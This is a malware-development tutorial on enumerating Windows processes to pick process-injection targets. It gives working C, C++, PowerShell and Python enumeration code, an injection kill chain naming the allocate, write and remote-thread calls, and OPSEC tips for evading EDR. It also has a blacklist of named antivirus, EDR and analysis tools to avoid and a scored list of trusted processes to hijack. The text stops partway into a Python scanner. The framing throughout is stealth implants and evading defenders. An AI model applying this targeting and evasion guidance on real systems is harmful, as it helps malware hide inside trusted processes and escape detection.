ᛉ Yggdrasil

Malware development

Process Enumeration for Process Injection

15 Sep 2026 · 11,047 words · 50 min

Contents

Legend: [ENUM] = Enumeration technique | [INJECT] = Injection method | [OPSEC] = Operational Security note | [DETECT] = Detection vector | [EVASION] = Bypass technique | [TOOL] = Tool reference | [API] = Windows API call | [STEALTH] = Low-noise approach


1. Why Process Enumeration Matters for Injection

What it means: Process injection is the act of running your shellcode or payload inside another process's memory space. Before you can inject, you must first find a suitable target process, acquire a handle to it, and understand its architecture. Process enumeration is the prerequisite step that makes this possible.

The core problem:

Your implant/shellcode:
├─ Exists in YOUR process memory
├─ EDR/AV monitors YOUR process → high suspicion
├─ Your process has no legitimate cover story
└─ Solution: Move execution into a trusted, legitimate process

Goal: Inject shellcode into a process that:
├─ Is already trusted by AV/EDR (e.g., explorer.exe, svchost.exe)
├─ Has network access (e.g., chrome.exe, svchost.exe)
├─ Runs as SYSTEM or high-integrity (privilege escalation context)
└─ Won't be killed (long-lived, critical system process)

Why process enumeration is required first:

Before injection, you need to know:
├─ Which processes are running?
├─ What is the target process PID?
├─ What is the target's architecture? (x86 vs x64)
├─ What integrity level does it run at?
├─ Does it have the permissions I need?
├─ Is it a known AV/EDR/analysis process?
└─ Is it a stable, long-lived process?

Why it matters for red teaming:

Scenario No Enumeration With Enumeration
Inject into a dead process Access Denied / crash Verified alive before injecting
Inject into wrong arch (x86→x64) Access Violation / crash Architecture pre-checked
Inject into EDR process Immediate detection Filtered out of candidates
Inject into short-lived process Shellcode runs briefly then dies Long-lived process selected
Privilege escalation via injection Random guess fails SYSTEM-context process targeted

The full injection pipeline:

Enumerate running processes
    └─ Filter: arch match, stability, no EDR/AV
         └─ Find target PID (e.g., svchost.exe #3)
              └─ OpenProcess() → get handle
                   └─ Check handle permissions
                        └─ [Select injection technique]
                             └─ Allocate → Write → Execute → Clean up

[OPSEC] Process enumeration itself is observable. Calling CreateToolhelp32Snapshot or EnumProcesses while iterating all processes is a behavioral indicator. Some EDRs alert on rapid process enumeration.


2. The Process Injection Kill Chain

What it means: Every injection technique follows a common sequence of steps. Understanding the kill chain shows exactly which Windows APIs are called, which steps are detectable, and where EDR hooks fire.

2.1 Generic Injection Kill Chain

Step 1 — ENUMERATE
├─ List all running processes
├─ API: CreateToolhelp32Snapshot / NtQuerySystemInformation / EnumProcesses
└─ Goal: Find candidate PIDs

Step 2 — SELECT TARGET
├─ Filter by name, architecture, integrity, stability
└─ Goal: Identify best target PID

Step 3 — OPEN HANDLE
├─ API: OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)
├─ Required rights: PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD
└─ EDR HOOK POINT #1 ← NtOpenProcess hooked

Step 4 — ALLOCATE MEMORY
├─ API: VirtualAllocEx(hProcess, NULL, shellcode_size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
└─ EDR HOOK POINT #2 ← NtAllocateVirtualMemory hooked

Step 5 — WRITE PAYLOAD
├─ API: WriteProcessMemory(hProcess, pRemoteMem, shellcode, shellcode_size, NULL)
└─ EDR HOOK POINT #3 ← NtWriteVirtualMemory hooked

Step 6 — EXECUTE
├─ API: CreateRemoteThread / NtCreateThreadEx / QueueUserAPC / SetThreadContext
└─ EDR HOOK POINT #4 ← NtCreateThreadEx / NtQueueApcThread hooked

Step 7 — CLEANUP (optional)
├─ Close handles: CloseHandle(hThread), CloseHandle(hProcess)
└─ Erase shellcode from remote memory: VirtualFreeEx

2.2 Where EDR Instruments the Kill Chain

EDR/AV Monitoring Layers:
│
├─ Kernel callbacks (ETW / Kernel Driver):
│   ├─ PsSetCreateProcessNotifyRoutine   → process creation alerts
│   ├─ PsSetCreateThreadNotifyRoutine    → thread creation alerts
│   └─ ObRegisterCallbacks               → handle access control
│
├─ User-mode NTDLL hooks (inline hooks in ntdll.dll):
│   ├─ NtOpenProcess          → who is opening a handle to what?
│   ├─ NtAllocateVirtualMemory → executable allocation in remote process?
│   ├─ NtWriteVirtualMemory   → writing bytes to another process?
│   ├─ NtCreateThreadEx       → creating thread in another process?
│   └─ NtQueueApcThread       → queueing APC to another thread?
│
└─ ETW (Event Tracing for Windows):
    ├─ Microsoft-Windows-Threat-Intelligence provider
    └─ Logs: VirtualAlloc, WriteMemory, CreateThread events

[OPSEC] Direct syscalls bypass user-mode hooks but NOT kernel callbacks. Always assume kernel-level visibility for high-value targets.


3. Process Enumeration — Core APIs

What it means: Windows provides multiple APIs to enumerate running processes. Each has different detection profiles, privilege requirements, and information granularity. Knowing all three approaches lets you pick the lowest-noise option.

3.1 Enumeration API Comparison

Three main APIs:
│
├─ Toolhelp32 (kernel32.dll)
│   ├─ CreateToolhelp32Snapshot + Process32First/Next
│   ├─ Returns: PID, PPID, process name, thread count, module name
│   ├─ Privileges required: None for basic enum (some info needs SeDebugPrivilege)
│   └─ Detection: High — classic injection recon pattern
│
├─ NtQuerySystemInformation (ntdll.dll)
│   ├─ NtQuerySystemInformation(SystemProcessInformation, ...)
│   ├─ Returns: PID, PPID, image name, handles, threads, memory
│   ├─ Privileges required: None
│   └─ Detection: Medium — lower-level, less hooked
│
└─ EnumProcesses (psapi.dll / kernel32.dll)
    ├─ EnumProcesses + OpenProcess + GetModuleBaseName
    ├─ Returns: Array of PIDs (need extra calls for names)
    ├─ Privileges required: None for basic, SeDebugPrivilege for all
    └─ Detection: Medium-High

4. Toolhelp32 Snapshot Enumeration

What it means: The most commonly used process enumeration method. Takes a "snapshot" of the process list at a point in time and iterates through it using Process32First/Process32Next. Returns process names, PIDs, parent PIDs, and thread counts.

4.1 Full C Implementation — Toolhelp32 Enumerator

// proc_enum_toolhelp.c
// Enumerate all running processes using Toolhelp32 API
// Compile: cl.exe proc_enum_toolhelp.c /Fe:enum.exe

#include <windows.h>
#include <tlhelp32.h>    // CreateToolhelp32Snapshot
#include <stdio.h>
#include <string.h>

// Struct to return process info
typedef struct _PROC_INFO {
    DWORD  pid;
    DWORD  ppid;
    CHAR   name[MAX_PATH];
    DWORD  threads;
    DWORD  priority;
} PROC_INFO;

// ─── Enumerate all processes ──────────────────────────────────
BOOL EnumerateProcesses(PROC_INFO* out, DWORD* count, DWORD maxCount) {
    HANDLE hSnapshot;
    PROCESSENTRY32 pe32;
    DWORD idx = 0;

    // Take snapshot of all running processes
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        printf("[-] CreateToolhelp32Snapshot failed: %lu\n", GetLastError());
        return FALSE;
    }

    pe32.dwSize = sizeof(PROCESSENTRY32);

    // Get first process
    if (!Process32First(hSnapshot, &pe32)) {
        printf("[-] Process32First failed: %lu\n", GetLastError());
        CloseHandle(hSnapshot);
        return FALSE;
    }

    // Iterate through all processes
    do {
        if (idx >= maxCount) break;

        out[idx].pid      = pe32.th32ProcessID;
        out[idx].ppid     = pe32.th32ParentProcessID;
        out[idx].threads  = pe32.cntThreads;
        out[idx].priority = pe32.pcPriClassBase;
        // pe32.szExeFile = process image name (e.g., "svchost.exe")
        strncpy(out[idx].name, pe32.szExeFile, MAX_PATH - 1);

        idx++;
    } while (Process32Next(hSnapshot, &pe32));

    *count = idx;
    CloseHandle(hSnapshot);
    return TRUE;
}

// ─── Find PID by process name ─────────────────────────────────
DWORD FindPidByName(const char* targetName) {
    HANDLE hSnapshot;
    PROCESSENTRY32 pe32;
    DWORD pid = 0;

    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) return 0;

    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(hSnapshot, &pe32)) {
        do {
            // Case-insensitive comparison
            if (_stricmp(pe32.szExeFile, targetName) == 0) {
                pid = pe32.th32ProcessID;
                break;
            }
        } while (Process32Next(hSnapshot, &pe32));
    }

    CloseHandle(hSnapshot);
    return pid;
}

// ─── Find ALL PIDs with a given name (e.g. multiple svchost) ──
DWORD FindAllPidsByName(const char* targetName, DWORD* pids, DWORD maxPids) {
    HANDLE hSnapshot;
    PROCESSENTRY32 pe32;
    DWORD count = 0;

    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) return 0;

    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(hSnapshot, &pe32)) {
        do {
            if (_stricmp(pe32.szExeFile, targetName) == 0 && count < maxPids) {
                pids[count++] = pe32.th32ProcessID;
            }
        } while (Process32Next(hSnapshot, &pe32));
    }

    CloseHandle(hSnapshot);
    return count;
}

int main() {
    PROC_INFO procs[1024] = {0};
    DWORD count = 0;

    printf("[*] Process Enumeration via Toolhelp32\n");
    printf("%-8s %-8s %-8s %s\n", "PID", "PPID", "THREADS", "NAME");
    printf("─────────────────────────────────────────────\n");

    if (EnumerateProcesses(procs, &count, 1024)) {
        for (DWORD i = 0; i < count; i++) {
            printf("%-8lu %-8lu %-8lu %s\n",
                procs[i].pid,
                procs[i].ppid,
                procs[i].threads,
                procs[i].name);
        }
        printf("\n[+] Total processes: %lu\n", count);
    }

    // Example: Find svchost.exe
    DWORD svchostPid = FindPidByName("svchost.exe");
    printf("\n[*] First svchost.exe PID: %lu\n", svchostPid);

    // Find all svchost instances
    DWORD svchostPids[64] = {0};
    DWORD svchostCount = FindAllPidsByName("svchost.exe", svchostPids, 64);
    printf("[*] All svchost.exe instances (%lu found):\n", svchostCount);
    for (DWORD i = 0; i < svchostCount; i++) {
        printf("    PID: %lu\n", svchostPids[i]);
    }

    return 0;
}

4.2 Module Enumeration (DLLs loaded in a process)

// Enumerate modules (DLLs) loaded in a target process
// Useful to verify architecture (x86 vs x64) and find injection points

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

void EnumerateModules(DWORD pid) {
    HANDLE hSnapshot;
    MODULEENTRY32 me32;

    // TH32CS_SNAPMODULE32 for x86 modules in x64 process (WoW64)
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        printf("[-] Cannot snapshot modules for PID %lu (err: %lu)\n",
               pid, GetLastError());
        return;
    }

    me32.dwSize = sizeof(MODULEENTRY32);

    printf("[*] Modules in PID %lu:\n", pid);
    if (ModuleFirst(hSnapshot, &me32)) {    // -> Module32First
        do {
            printf("    Base: 0x%p | Size: 0x%08lx | %s\n",
                   me32.modBaseAddr,
                   me32.modBaseSize,
                   me32.szExePath);
        } while (Module32Next(hSnapshot, &me32));
    }

    CloseHandle(hSnapshot);
}

4.3 Thread Enumeration (Threads within a process)

// Enumerate threads of a target process
// Used for: Thread hijacking injection, APC injection targeting

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

void EnumerateThreads(DWORD targetPid) {
    HANDLE hSnapshot;
    THREADENTRY32 te32;

    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) return;

    te32.dwSize = sizeof(THREADENTRY32);

    printf("[*] Threads in PID %lu:\n", targetPid);
    if (Thread32First(hSnapshot, &te32)) {
        do {
            if (te32.th32OwnerProcessID == targetPid) {
                printf("    TID: %-8lu | BasePriority: %ld\n",
                       te32.th32ThreadID,
                       te32.tpBasePri);
            }
        } while (Thread32Next(hSnapshot, &te32));
    }

    CloseHandle(hSnapshot);
}

// ─── Get first thread ID of a process (for thread hijacking) ──
DWORD GetFirstThreadId(DWORD targetPid) {
    HANDLE hSnapshot;
    THREADENTRY32 te32;
    DWORD firstTid = 0;

    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) return 0;

    te32.dwSize = sizeof(THREADENTRY32);

    if (Thread32First(hSnapshot, &te32)) {
        do {
            if (te32.th32OwnerProcessID == targetPid) {
                firstTid = te32.th32ThreadID;
                break;
            }
        } while (Thread32Next(hSnapshot, &te32));
    }

    CloseHandle(hSnapshot);
    return firstTid;
}

[DETECT] CreateToolhelp32Snapshot with TH32CS_SNAPPROCESS is one of the most commonly baselined and alerted-on syscalls in EDR systems. Consider NtQuerySystemInformation as a lower-noise alternative.


5. NtQuerySystemInformation Enumeration

What it means: A native NT API that returns rich system information. Using SystemProcessInformation (0x05) returns a linked list of SYSTEM_PROCESS_INFORMATION structs describing every running process. Lower-level than Toolhelp32 and less commonly hooked in full. Used by advanced malware and red team implants.

5.1 Struct Definitions

// ntdefs.h — NtQuerySystemInformation structures (not in SDK by default)

#include <windows.h>

// Dynamic-load NtQuerySystemInformation
typedef NTSTATUS(NTAPI* pNtQuerySystemInformation)(
    ULONG  SystemInformationClass,
    PVOID  SystemInformation,
    ULONG  SystemInformationLength,
    PULONG ReturnLength
);

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;

typedef struct _SYSTEM_PROCESS_INFORMATION {
    ULONG          NextEntryOffset;       // Offset to next struct (0 = last)
    ULONG          NumberOfThreads;
    LARGE_INTEGER  Reserved[3];
    LARGE_INTEGER  CreateTime;
    LARGE_INTEGER  UserTime;
    LARGE_INTEGER  KernelTime;
    UNICODE_STRING ImageName;             // Process image name
    LONG           BasePriority;
    HANDLE         UniqueProcessId;       // PID (cast to DWORD)
    HANDLE         InheritedFromUniqueProcessId; // PPID
    ULONG          HandleCount;
    ULONG          SessionId;
    ULONG_PTR      PageDirectoryBase;
    SIZE_T         PeakVirtualSize;
    SIZE_T         VirtualSize;
    ULONG          PageFaultCount;
    SIZE_T         PeakWorkingSetSize;
    SIZE_T         WorkingSetSize;
    // ... more fields
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

#define SystemProcessInformation 0x05
#define STATUS_SUCCESS           0x00000000
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004

5.2 Full C Implementation — NtQuerySystemInformation Enumerator

// proc_enum_nt.c
// Enumerate processes using NtQuerySystemInformation (no Toolhelp32)
// Compile: cl.exe proc_enum_nt.c /Fe:enum_nt.exe

#include <windows.h>
#include <stdio.h>
#include "ntdefs.h"     // structs from above

DWORD FindPidByNameNt(const WCHAR* targetName) {
    pNtQuerySystemInformation NtQSI = NULL;
    NTSTATUS status;
    PVOID   pBuffer  = NULL;
    ULONG   bufSize  = 0x10000;  // Start with 64KB
    DWORD   foundPid = 0;

    // Dynamically resolve NtQuerySystemInformation from ntdll
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) return 0;
    NtQSI = (pNtQuerySystemInformation)
            GetProcAddress(hNtdll, "NtQuerySystemInformation");
    if (!NtQSI) return 0;

    // Allocate buffer — grow until STATUS_INFO_LENGTH_MISMATCH stops
    while (TRUE) {
        pBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);
        if (!pBuffer) return 0;

        status = NtQSI(SystemProcessInformation, pBuffer, bufSize, &bufSize);

        if (status == STATUS_SUCCESS) break;

        HeapFree(GetProcessHeap(), 0, pBuffer);
        pBuffer = NULL;

        if (status == STATUS_INFO_LENGTH_MISMATCH) {
            bufSize *= 2;    // Double buffer and retry
            continue;
        }
        return 0;  // Unexpected error
    }

    // Walk the linked list of SYSTEM_PROCESS_INFORMATION structs
    PSYSTEM_PROCESS_INFORMATION pCurrent = (PSYSTEM_PROCESS_INFORMATION)pBuffer;

    printf("%-8s %-8s %-8s %ws\n", "PID", "PPID", "THREADS", "NAME");
    printf("─────────────────────────────────────────────\n");

    while (TRUE) {
        if (pCurrent->ImageName.Buffer) {
            printf("%-8lu %-8lu %-8lu %ws\n",
                   (DWORD)(ULONG_PTR)pCurrent->UniqueProcessId,
                   (DWORD)(ULONG_PTR)pCurrent->InheritedFromUniqueProcessId,
                   pCurrent->NumberOfThreads,
                   pCurrent->ImageName.Buffer);

            // Compare with target name
            if (_wcsicmp(pCurrent->ImageName.Buffer, targetName) == 0) {
                foundPid = (DWORD)(ULONG_PTR)pCurrent->UniqueProcessId;
                // Don't break — might want all instances
            }
        }

        if (pCurrent->NextEntryOffset == 0) break;
        pCurrent = (PSYSTEM_PROCESS_INFORMATION)
                   ((ULONG_PTR)pCurrent + pCurrent->NextEntryOffset);
    }

    HeapFree(GetProcessHeap(), 0, pBuffer);
    return foundPid;
}

int main() {
    printf("[*] NtQuerySystemInformation Process Enumeration\n\n");
    DWORD pid = FindPidByNameNt(L"explorer.exe");
    printf("\n[+] explorer.exe PID: %lu\n", pid);
    return 0;
}

[OPSEC] NtQuerySystemInformation does not call CreateToolhelp32Snapshot and therefore avoids the most commonly EDR-monitored enumeration pattern. Prefer this in stealth implants.


6. EnumProcesses (PSAPI) Enumeration

What it means: EnumProcesses fills an array with all current process IDs. It requires separate calls to OpenProcess + GetModuleBaseName to resolve names, making it noisier (more handle opens). Useful for simple PIDs-only listings.

6.1 C Implementation

// proc_enum_psapi.c
// Enumerate processes using EnumProcesses (PSAPI)
// Compile: cl.exe proc_enum_psapi.c /Fe:enum_psapi.exe /link psapi.lib

#include <windows.h>
#include <psapi.h>      // EnumProcesses, GetModuleBaseName
#include <stdio.h>
#pragma comment(lib, "psapi.lib")

void EnumerateProcessesPSAPI() {
    DWORD  pids[1024];
    DWORD  cbNeeded;
    DWORD  count;
    CHAR   procName[MAX_PATH];

    // Get array of all PIDs
    if (!EnumProcesses(pids, sizeof(pids), &cbNeeded)) {
        printf("[-] EnumProcesses failed: %lu\n", GetLastError());
        return;
    }

    count = cbNeeded / sizeof(DWORD);
    printf("[*] EnumProcesses found %lu processes\n\n", count);
    printf("%-8s %s\n", "PID", "NAME");
    printf("─────────────────────────\n");

    for (DWORD i = 0; i < count; i++) {
        DWORD pid = pids[i];
        if (pid == 0) continue;    // System Idle Process

        // Need to open each process to get its name
        HANDLE hProc = OpenProcess(
            PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
            FALSE, pid);

        if (hProc) {
            HMODULE hMod;
            DWORD cbMod;
            ZeroMemory(procName, sizeof(procName));

            // Get first module (the executable itself)
            if (EnumProcessModules(hProc, &hMod, sizeof(hMod), &cbMod)) {
                GetModuleBaseNameA(hProc, hMod, procName, sizeof(procName));
            }
            CloseHandle(hProc);
        } else {
            // Cannot open (System, SYSTEM protected processes)
            strncpy(procName, "<access denied>", MAX_PATH - 1);
        }

        printf("%-8lu %s\n", pid, procName);
    }
}

int main() {
    EnumerateProcessesPSAPI();
    return 0;
}

[DETECT] EnumProcesses + OpenProcess loop generates a burst of NtOpenProcess calls — very visible to EDRs. Toolhelp32 or NtQuerySystemInformation is preferable.


7. WMI-Based Process Enumeration

What it means: Windows Management Instrumentation (WMI) can query running processes using SQL-like queries. Less common in malware, so sometimes lower EDR suspicion — but WMI queries are logged in Event ID 4688 and can be detected by defenders who monitor WMI activity.

7.1 PowerShell WMI Enumeration

# WMI process enumeration (PowerShell)

# Method 1: Get-WmiObject (older, still works)
Get-WmiObject -Class Win32_Process | 
    Select-Object ProcessId, ParentProcessId, Name, Path, CommandLine |
    Format-Table -AutoSize

# Method 2: Get-CimInstance (modern, preferred)
Get-CimInstance -ClassName Win32_Process |
    Select-Object ProcessId, ParentProcessId, Name, Path |
    Sort-Object ProcessId |
    Format-Table -AutoSize

# Find specific process
Get-CimInstance -ClassName Win32_Process -Filter "Name = 'explorer.exe'" |
    Select-Object ProcessId, ParentProcessId, CommandLine

# Find all svchost instances
Get-CimInstance -ClassName Win32_Process -Filter "Name = 'svchost.exe'" |
    Select-Object ProcessId, CommandLine

# Get process owner (useful for privilege context)
$procs = Get-CimInstance -ClassName Win32_Process
foreach ($p in $procs) {
    $owner = $p.GetOwner()
    Write-Host "PID: $($p.ProcessId) | Name: $($p.Name) | Owner: $($owner.Domain)\$($owner.User)"
}

7.2 C++ WMI Enumeration

// wmi_enum.cpp — Process enumeration via WMI (COM-based)
// Compile: cl.exe wmi_enum.cpp /Fe:wmi_enum.exe /link ole32.lib oleaut32.lib wbemuuid.lib

#include <windows.h>
#include <wbemidl.h>
#include <comdef.h>
#include <stdio.h>
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "oleaut32.lib")
#pragma comment(lib, "wbemuuid.lib")

int WmiEnumProcesses() {
    HRESULT hr;
    IWbemLocator*  pLoc    = NULL;
    IWbemServices* pSvc    = NULL;
    IEnumWbemClassObject* pEnum = NULL;

    // Initialize COM
    CoInitializeEx(0, COINIT_MULTITHREADED);
    CoInitializeSecurity(NULL, -1, NULL, NULL,
        RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE,
        NULL, EOAC_NONE, NULL);

    // Connect to WMI
    hr = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER,
                          IID_IWbemLocator, (LPVOID*)&pLoc);
    hr = pLoc->ConnectServer(_bstr_t(L"ROOT\\CIMV2"), NULL, NULL, 0, 0, 0, 0, &pSvc);

    CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL,
        RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE);

    // WQL query — select all processes
    hr = pSvc->ExecQuery(
        _bstr_t("WQL"),
        _bstr_t("SELECT ProcessId, ParentProcessId, Name FROM Win32_Process"),
        WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,
        NULL, &pEnum);

    // Iterate results
    IWbemClassObject* pclsObj = NULL;
    ULONG uReturn = 0;

    printf("%-8s %-8s %s\n", "PID", "PPID", "NAME");
    printf("────────────────────────────────\n");

    while (pEnum) {
        hr = pEnum->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);
        if (uReturn == 0) break;

        VARIANT pid, ppid, name;
        pclsObj->Get(L"ProcessId",       0, &pid,  0, 0);
        pclsObj->Get(L"ParentProcessId", 0, &ppid, 0, 0);
        pclsObj->Get(L"Name",            0, &name, 0, 0);

        printf("%-8lu %-8lu %ws\n",
               pid.uintVal, ppid.uintVal, name.bstrVal);

        VariantClear(&pid); VariantClear(&ppid); VariantClear(&name);
        pclsObj->Release();
    }

    pEnum->Release(); pSvc->Release(); pLoc->Release();
    CoUninitialize();
    return 0;
}

[DETECT] WMI process queries appear in Windows Event Log ID 5861 (WMI activity). Defenders monitoring WMI will see this.


8. Process Filtering — Finding the Right Target

What it means: After enumerating all processes, you need to select the best injection target. A good target is: long-lived, architecturally compatible, high-privilege (or at minimum matching yours), not an AV/EDR process, and ideally has legitimate network access.

8.1 Architecture Check (x86 vs x64)

// Check if process is 32-bit (WoW64) or 64-bit native
// CRITICAL: Injecting x64 shellcode into x86 process = crash

#include <windows.h>
#include <stdio.h>

typedef BOOL (WINAPI* pIsWow64Process)(HANDLE, PBOOL);

BOOL IsProcess32Bit(DWORD pid) {
    BOOL bIsWow64 = FALSE;
    HANDLE hProc;

    // IsWow64Process returns TRUE if process is 32-bit on 64-bit OS
    pIsWow64Process fnIsWow64 = (pIsWow64Process)
        GetProcAddress(GetModuleHandleA("kernel32.dll"), "IsWow64Process");
    if (!fnIsWow64) return FALSE;   // OS is 32-bit, all procs are 32-bit

    hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
    if (!hProc) return FALSE;

    fnIsWow64(hProc, &bIsWow64);
    CloseHandle(hProc);

    return bIsWow64;  // TRUE = 32-bit process on 64-bit OS
}

void PrintProcessArch(DWORD pid, const char* name) {
    if (IsProcess32Bit(pid))
        printf("  PID %-6lu [x86 / WoW64] %s\n", pid, name);
    else
        printf("  PID %-6lu [x64 native ] %s\n", pid, name);
}

8.2 Integrity Level Check

// Get process integrity level (Low / Medium / High / System)
// You can only inject into processes at your level or below
// (unless SeDebugPrivilege is enabled)

#include <windows.h>
#include <stdio.h>

typedef enum _INTEGRITY_LEVEL {
    IL_UNTRUSTED = 0,
    IL_LOW       = 1,
    IL_MEDIUM    = 2,
    IL_HIGH      = 3,
    IL_SYSTEM    = 4,
    IL_PROTECTED = 5
} INTEGRITY_LEVEL;

INTEGRITY_LEVEL GetProcessIntegrityLevel(DWORD pid) {
    HANDLE hProc, hToken;
    TOKEN_MANDATORY_LABEL* pTIL = NULL;
    DWORD  dwIntegrityLevel = 0;
    DWORD  dwSize = 0;
    INTEGRITY_LEVEL il = IL_UNTRUSTED;

    hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
    if (!hProc) return IL_UNTRUSTED;

    if (!OpenProcessToken(hProc, TOKEN_QUERY, &hToken)) {
        CloseHandle(hProc);
        return IL_UNTRUSTED;
    }

    // Get required buffer size
    GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &dwSize);
    pTIL = (TOKEN_MANDATORY_LABEL*)HeapAlloc(GetProcessHeap(), 0, dwSize);

    if (GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, dwSize, &dwSize)) {
        dwIntegrityLevel = *GetSidSubAuthority(
            pTIL->Label.Sid,
            *GetSidSubAuthorityCount(pTIL->Label.Sid) - 1);

        if      (dwIntegrityLevel < SECURITY_MANDATORY_LOW_RID)    il = IL_UNTRUSTED;
        else if (dwIntegrityLevel < SECURITY_MANDATORY_MEDIUM_RID)  il = IL_LOW;
        else if (dwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID)    il = IL_MEDIUM;
        else if (dwIntegrityLevel < SECURITY_MANDATORY_SYSTEM_RID)  il = IL_HIGH;
        else                                                         il = IL_SYSTEM;
    }

    HeapFree(GetProcessHeap(), 0, pTIL);
    CloseHandle(hToken);
    CloseHandle(hProc);
    return il;
}

const char* IntegrityLevelName(INTEGRITY_LEVEL il) {
    switch (il) {
        case IL_UNTRUSTED: return "Untrusted";
        case IL_LOW:       return "Low";
        case IL_MEDIUM:    return "Medium";
        case IL_HIGH:      return "High";
        case IL_SYSTEM:    return "System";
        case IL_PROTECTED: return "Protected";
        default:           return "Unknown";
    }
}

8.3 EDR / AV Process Blacklist Filter

// Filter out known AV/EDR/analysis processes from target candidates
// Injecting into these = immediate detection + analysis

const char* BLACKLIST[] = {
    // AV products
    "MsMpEng.exe",        // Windows Defender
    "MpCmdRun.exe",       // Windows Defender CLI
    "msmpeng.exe",
    "avgnt.exe",          // Avira
    "avguard.exe",        // Avira
    "bdagent.exe",        // BitDefender
    "bdservicehost.exe",  // BitDefender
    "ekrn.exe",           // ESET
    "egui.exe",           // ESET
    "mcshield.exe",       // McAfee
    "mcsacore.exe",       // McAfee
    "sophoshealth.exe",   // Sophos
    "savservice.exe",     // Sophos
    "mbam.exe",           // Malwarebytes
    "mbamservice.exe",    // Malwarebytes

    // EDR products
    "CSFalconService.exe", // CrowdStrike Falcon
    "CSFalconContainer.exe",
    "SentinelAgent.exe",   // SentinelOne
    "SentinelServiceHost.exe",
    "CylanceSvc.exe",      // Cylance
    "CylanceUI.exe",
    "cb.exe",              // Carbon Black
    "cbcomms.exe",
    "taniumclient.exe",    // Tanium
    "cyserver.exe",        // Cybereason
    "PEGasusSvc.exe",      // Palo Alto

    // Analysis / sandbox
    "procmon.exe",         // Process Monitor (Sysinternals)
    "procexp.exe",         // Process Explorer
    "procexp64.exe",
    "Wireshark.exe",
    "x64dbg.exe",
    "x32dbg.exe",
    "ollydbg.exe",
    "idaq.exe",            // IDA Pro
    "idaq64.exe",
    "ghidra.exe",          // Ghidra
    "pestudio.exe",

    // System-critical (crashing these = BSOD / high noise)
    "csrss.exe",
    "smss.exe",
    "wininit.exe",
    "winlogon.exe",
    "lsass.exe",           // Extremely monitored

    NULL  // Sentinel
};

BOOL IsBlacklisted(const char* procName) {
    for (int i = 0; BLACKLIST[i] != NULL; i++) {
        if (_stricmp(procName, BLACKLIST[i]) == 0) return TRUE;
    }
    return FALSE;
}

8.4 Ideal Injection Targets — Whitelist

// Preferred injection targets (legitimate, long-lived, network-capable)

typedef struct _TARGET_PRIORITY {
    const char* name;
    int         score;       // Higher = better target
    const char* reason;
} TARGET_PRIORITY;

TARGET_PRIORITY PREFERRED_TARGETS[] = {
    // Tier 1 — Best targets
    { "explorer.exe",           100, "User session, long-lived, medium integrity" },
    { "svchost.exe",            95,  "System process, SYSTEM integrity, many instances" },
    { "RuntimeBroker.exe",      80,  "AppX/UWP broker, medium integrity, quiet" },
    { "sihost.exe",             75,  "Shell infrastructure, user session" },

    // Tier 2 — Good targets (network access)
    { "chrome.exe",             85,  "Network access, medium integrity, common" },
    { "msedge.exe",             85,  "Network access, medium integrity" },
    { "firefox.exe",            80,  "Network access, medium integrity" },
    { "iexplore.exe",           70,  "Network access, older IE" },
    { "OneDrive.exe",           75,  "Network access, user context, quiet" },

    // Tier 3 — Situational
    { "notepad.exe",            60,  "Bland, low suspicion, no network" },
    { "msiexec.exe",            65,  "Installer, seen during setup phases" },
    { "wuauclt.exe",            70,  "Windows Update, trusted, network" },
    { "SearchIndexer.exe",      65,  "Background, low-key" },

    { NULL, 0, NULL }
};

8.5 Python — Process Scanner (Reconnaissance)

#!/usr/bin/env python3
# proc_scan.py — Cross-platform process recon (Windows via ctypes)
# pip install psutil

import psutil
import platform
import os

BLACKLIST = {
    "MsMpEng.exe", "avgnt.exe", "bdagent.exe", "ekrn.exe",
    "CSFalconService.exe", "SentinelAgent.exe", "CylanceSvc.exe",
    "cb.exe", "procmon.exe", "procexp.exe", "x64dbg.exe",
    "wireshark.exe", "csrss.exe", "lsass.exe", "smss.exe"
}

PREFERRED = {
    "explorer.exe", "svchost.exe", "chrome.exe", "msedge.exe",
    "firefox.exe", "RuntimeBroker.exe", "OneDrive.exe"
}

